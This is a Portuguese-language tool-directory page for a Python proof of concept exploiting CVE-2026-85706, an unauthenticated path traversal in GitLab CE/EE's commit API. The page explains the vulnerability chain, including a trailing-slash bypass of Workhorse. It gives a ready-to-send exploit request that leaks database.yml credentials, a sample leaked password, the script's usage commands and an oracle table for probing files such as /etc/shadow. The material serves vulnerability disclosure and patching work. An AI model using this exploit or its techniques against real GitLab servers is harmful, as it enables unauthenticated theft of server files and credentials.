Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-85706 — PoC em Python para CVE-2026-85706, uma path traversal não autenticada na API Repository Commits do GitLab CE/EE que vaza arquivos locais arbitrários por meio de um oráculo de quatro estados. | Kitploit
Ferramentas/GitHubGitHub/mhtsec/cve-2026-85706
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesSegurança WebTestes de Penetração
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

PoC em Python para CVE-2026-85706, uma path traversal não autenticada na API Repository Commits do GitLab CE/EE que vaza arquivos locais arbitrários por meio de um oráculo de quatro estados.

1há 11h 22mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

CVE-2026-85706: Path traversal não autorizado no GitLab CE/EE

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Componente: GitLab CE/EE Repository Commits API (variante body-upload do Workhorse)
  • Afetados: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • Correção: 19.1.8 / 19.2.6 / 19.3.2 (patch crítico lançado em 2026-09-10)
  • Impacto: path traversal sem necessidade de qualquer conta para ler arquivos locais arbitrários no servidor; a possibilidade de ecoar o conteúdo depende do arquivo alvo, constituindo um oráculo de quatro estados (ver "Limites de eco")

Cadeia da vulnerabilidade

A API "criar commit" do GitLab (POST /api/v4/projects/:id/repository/commits) permite que uma única requisição carregue grandes quantidades de conteúdo de arquivos. Para evitar que corpos de requisição muito grandes entrem diretamente no parser do Rails, o Workhorse primeiro grava o corpo da requisição em disco como arquivo temporário e, em seguida, injeta metadados como file.path / file.size na requisição encaminhada; o endpoint do Rails lê o arquivo de volta com base nesses parâmetros. A cadeia da vulnerabilidade é a combinação de quatro elos:

  1. Autenticação após a leitura do arquivo: a entrada post ':id/repository/commits' possui apenas require_gitlab_workhorse! (que verifica somente "encaminhado pelo Workhorse"), enquanto o authenticate! real está escondido mais adiante em authorize_push_to_branch!, e a leitura por path traversal ocorre antes dele.
  2. Metadados gravados em disco obtidos dos parâmetros da requisição: file_params_from_body_upload trata diretamente os parâmetros da requisição file.path / file.size / Content-Type como metadados injetados pelo Workhorse, sem distinguir a origem dos parâmetros, permitindo que File.read(file_path) percorra qualquer caminho local.
  3. Eco de erro de parsing do Rack: quando Content-Type=application/x-www-form-urlencoded, o conteúdo do arquivo é entregue a Rack::Utils.parse_nested_query para parsing; sequências inválidas no conteúdo disparam , que é ecoado tal como está na resposta 400 via . O eco é por ordem de chegada: / são limites de componente, o parsing é interrompido no componente onde está o primeiro inválido e esse componente é ecoado; sem separadores, o arquivo inteiro é ecoado como um único componente (escapes hexadecimais válidos não disparam erro).

Pré-requisito: o :id na URL deve ser um projeto realmente existente (qualquer projeto público serve), sem necessidade de login em nenhum momento.

Requisição de exploração (database.yml em implantação com DB externo; quando a senha contém sequências % inválidas, todo o trecho é ecoado):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Resposta (todo o componente onde está o primeiro % inválido é ecoado):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Limites de eco (oráculo de quatro estados)

A leitura é executada com a identidade do usuário git do processo Puma, e a resposta constitui um oráculo de quatro estados:

Escopo real de leitura em implantação padrão (testado):

  • O campo principal de leitura de conteúdo são arquivos que naturalmente contêm %: logs e artefatos de build de CI, anexos enviados por usuários, database.yml de implantação com DB externo. O database.yml tem o campo de senha vazio sob autenticação peer por socket local padrão, e só possui valor em implantações com DB externo.
  • gitlab.yml: os comentários do template renderizado já contêm sequências como 95%, %{key} no início do arquivo (por volta da linha 19), enquanto as configurações de credenciais (incoming_email, LDAP, object storage, etc.) estão após a linha 170 — a ordem de chegada significa que em implantação padrão só é possível ecoar o trecho do cabeçalho, o trecho de credenciais não pode ser lido; somente em variantes de implantação sem sequências interferentes (templates personalizados, etc.) é possível ler. Observe também que a senha SMTP (gitlab_rails['smtp_password']) não é renderizada no gitlab.yml; o que é realmente renderizado são as credenciais de incoming_email, LDAP e object_store.
  • secrets.yml é hex puro sem %, não é possível ler o conteúdo (401); gitlab.rb, chaves privadas TLS e arquivos de backup são root-only (apenas oráculo 500).

Uso do script

Implementado com a biblioteca padrão do Python 3, sem dependências de terceiros. O script interpreta automaticamente os quatro estados conforme a tabela acima.

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # 默认读 gitlab.yml(快速验证回显)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

Exemplo de saída (leitura de gitlab.yml em implantação padrão — o que é ecoado é o trecho do cabeçalho, não o de credenciais):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

Apenas para testes de segurança autorizados e pesquisa de vulnerabilidades.

Baixar ferramenta
%
ArgumentError: invalid %-encoding (<conteúdo do componente>)
bad_request!
&
=
%
%xx
  • Barra final contorna a reescrita do Workhorse: atacar diretamente o endpoint principal aciona a interceptação de body-upload do Workhorse (que corresponde estritamente a .../repository/commits\z), e os parâmetros forjados são engolidos no conteúdo do arquivo gravado em disco. Adicionar / ao final da URL faz com que a regra não corresponda, caindo no proxy reverso assinado de fallback — o corpo original da requisição, juntamente com os parâmetros forjados, é encaminhado tal como está ao Rails com um JWT válido, e require_gitlab_workhorse! passa; após a normalização da barra final pelo Grape, o handler vulnerável ainda é acionado.
  • RespostaSignificadoExemplo
    400 local file not presentO arquivo não existe/etc/nonexistent
    500 Internal Server ErrorExiste, mas o usuário git não tem permissão de leitura (Errno::EACCES não tratado); erros de parsing do branch multipart para arquivos legíveis também resultam em 500/etc/shadow, /etc/gitlab/gitlab-secrets.json
    401 UnauthorizedExiste e é legível, mas o conteúdo não possui sequências % inválidas, sem eco/etc/passwd, /proc/self/environ
    400 invalid %-encoding (<conteúdo>)Existe, é legível e contém sequências % inválidas — todo o componente onde está é ecoadoLogs contendo %, artefatos de build de CI, database.yml de DB externo
  • O próprio oráculo de quatro estados também é uma primitiva de reconhecimento: sondar a estrutura de caminhos internos, auto-observação de processos via /proc/self/*, converter por ID de projeto para caminhos @hashed e sondar a existência de projetos privados.
  • ParâmetroDescrição
    -tEndereço do GitLab alvo (obrigatório), como http://<target>:<port>
    -fCaminho absoluto a ser lido (padrão /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
    -pID do projeto, qualquer projeto realmente existente serve (padrão 1)
    -oSalvar o conteúdo lido em um arquivo local